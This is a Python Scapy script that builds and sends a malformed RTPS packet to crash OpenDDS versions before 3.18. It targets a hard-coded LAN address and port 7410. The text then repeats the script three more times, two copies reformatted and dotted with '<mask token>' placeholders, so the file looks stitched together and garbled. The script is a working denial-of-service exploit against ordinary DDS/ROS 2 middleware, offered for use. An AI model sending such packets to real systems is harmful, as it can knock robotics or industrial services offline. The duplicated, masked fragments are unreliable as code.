"""
A simple script to crash OpenDDS prior to 3.18 (e.g. 3.16.1, or 3.17)
"""

from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *

bind_layers(UDP, RTPS)
conf.verb = 0


# dst = "172.17.0.2"
dst = "192.168.1.88"
sport = 17900
dport = 7410

# # crash OpenDDS publisher prior to v3.18
opendds_crasher = (
    IP(
        version=4,
        ihl=5,
        tos=0,
        len=82,
        flags=2,
        frag=0,
        ttl=64,
        proto=17,
        dst=dst,
    )
    / UDP(sport=sport, dport=dport, len=62)
    / RTPS(
        protocolVersion=ProtocolVersionPacket(major=2, minor=4),
        vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
        guidPrefix=GUIDPrefixPacket(
            hostId=16974402, appId=2886795266, instanceId=1172693757
        ),
        magic=b"RTPS",
    )
    / RTPSMessage(
        submessages=[
            RTPSSubMessage_DATA(
                submessageId=21,
                submessageFlags=5,
                octetsToNextHeader=0,
                extraFlags=0,
                octetsToInlineQoS=16,
                readerEntityIdKey=0,
                readerEntityIdKind=0,
                writerEntityIdKey=256,
                writerEntityIdKind=194,
                writerSeqNumHi=0,
                writerSeqNumLow=2,
                data=DataPacket(
                    encapsulationKind=3,
                    encapsulationOptions=0,
                    parameterList=ParameterListPacket(
                        parameterValues=[
                            PID_BUILTIN_ENDPOINT_QOS(
                                parameterId=119,
                                parameterLength=0,
                                parameterData=b"\x00\x00\x00\x00",
                            ),
                            PID_PAD(parameterId=b"\x00\x00"),
                        ]
                    ),
                ),
            )
        ]
    )
)

# send(opendds_crasher, iface="eth0")
send(opendds_crasher)

opendds_crasher.pdfdump("/tmp/ros2_crasher.py")

819c778cd05f45fc9ff01a40005291ef8a54769f
<mask token>

<mask token>
bind_layers(UDP, RTPS)
<mask token>
send(opendds_crasher)
opendds_crasher.pdfdump('/tmp/ros2_crasher.py')

<mask token>
bind_layers(UDP, RTPS)
conf.verb = 0
dst = '192.168.1.88'
sport = 17900
dport = 7410
opendds_crasher = IP(version=4, ihl=5, tos=0, len=82, flags=2, frag=0, ttl=
    64, proto=17, dst=dst) / UDP(sport=sport, dport=dport, len=62) / RTPS(
    protocolVersion=ProtocolVersionPacket(major=2, minor=4), vendorId=
    VendorIdPacket(vendor_id=b'\x01\x03'), guidPrefix=GUIDPrefixPacket(
    hostId=16974402, appId=2886795266, instanceId=1172693757), magic=b'RTPS'
    ) / RTPSMessage(submessages=[RTPSSubMessage_DATA(submessageId=21,
    submessageFlags=5, octetsToNextHeader=0, extraFlags=0,
    octetsToInlineQoS=16, readerEntityIdKey=0, readerEntityIdKind=0,
    writerEntityIdKey=256, writerEntityIdKind=194, writerSeqNumHi=0,
    writerSeqNumLow=2, data=DataPacket(encapsulationKind=3,
    encapsulationOptions=0, parameterList=ParameterListPacket(
    parameterValues=[PID_BUILTIN_ENDPOINT_QOS(parameterId=119,
    parameterLength=0, parameterData=b'\x00\x00\x00\x00'), PID_PAD(
    parameterId=b'\x00\x00')])))])
send(opendds_crasher)
opendds_crasher.pdfdump('/tmp/ros2_crasher.py')

<mask token>
from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *
bind_layers(UDP, RTPS)
conf.verb = 0
dst = '192.168.1.88'
sport = 17900
dport = 7410
opendds_crasher = IP(version=4, ihl=5, tos=0, len=82, flags=2, frag=0, ttl=
    64, proto=17, dst=dst) / UDP(sport=sport, dport=dport, len=62) / RTPS(
    protocolVersion=ProtocolVersionPacket(major=2, minor=4), vendorId=
    VendorIdPacket(vendor_id=b'\x01\x03'), guidPrefix=GUIDPrefixPacket(
    hostId=16974402, appId=2886795266, instanceId=1172693757), magic=b'RTPS'
    ) / RTPSMessage(submessages=[RTPSSubMessage_DATA(submessageId=21,
    submessageFlags=5, octetsToNextHeader=0, extraFlags=0,
    octetsToInlineQoS=16, readerEntityIdKey=0, readerEntityIdKind=0,
    writerEntityIdKey=256, writerEntityIdKind=194, writerSeqNumHi=0,
    writerSeqNumLow=2, data=DataPacket(encapsulationKind=3,
    encapsulationOptions=0, parameterList=ParameterListPacket(
    parameterValues=[PID_BUILTIN_ENDPOINT_QOS(parameterId=119,
    parameterLength=0, parameterData=b'\x00\x00\x00\x00'), PID_PAD(
    parameterId=b'\x00\x00')])))])
send(opendds_crasher)
opendds_crasher.pdfdump('/tmp/ros2_crasher.py')

"""
A simple script to crash OpenDDS prior to 3.18 (e.g. 3.16.1, or 3.17)
"""

from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *

bind_layers(UDP, RTPS)
conf.verb = 0


# dst = "172.17.0.2"
dst = "192.168.1.88"
sport = 17900
dport = 7410

# # crash OpenDDS publisher prior to v3.18
opendds_crasher = (
    IP(
        version=4,
        ihl=5,
        tos=0,
        len=82,
        flags=2,
        frag=0,
        ttl=64,
        proto=17,
        dst=dst,
    )
    / UDP(sport=sport, dport=dport, len=62)
    / RTPS(
        protocolVersion=ProtocolVersionPacket(major=2, minor=4),
        vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
        guidPrefix=GUIDPrefixPacket(
            hostId=16974402, appId=2886795266, instanceId=1172693757
        ),
        magic=b"RTPS",
    )
    / RTPSMessage(
        submessages=[
            RTPSSubMessage_DATA(
                submessageId=21,
                submessageFlags=5,
                octetsToNextHeader=0,
                extraFlags=0,
                octetsToInlineQoS=16,
                readerEntityIdKey=0,
                readerEntityIdKind=0,
                writerEntityIdKey=256,
                writerEntityIdKind=194,
                writerSeqNumHi=0,
                writerSeqNumLow=2,
                data=DataPacket(
                    encapsulationKind=3,
                    encapsulationOptions=0,
                    parameterList=ParameterListPacket(
                        parameterValues=[
                            PID_BUILTIN_ENDPOINT_QOS(
                                parameterId=119,
                                parameterLength=0,
                                parameterData=b"\x00\x00\x00\x00",
                            ),
                            PID_PAD(parameterId=b"\x00\x00"),
                        ]
                    ),
                ),
            )
        ]
    )
)

# send(opendds_crasher, iface="eth0")
send(opendds_crasher)

opendds_crasher.pdfdump("/tmp/ros2_crasher.py")
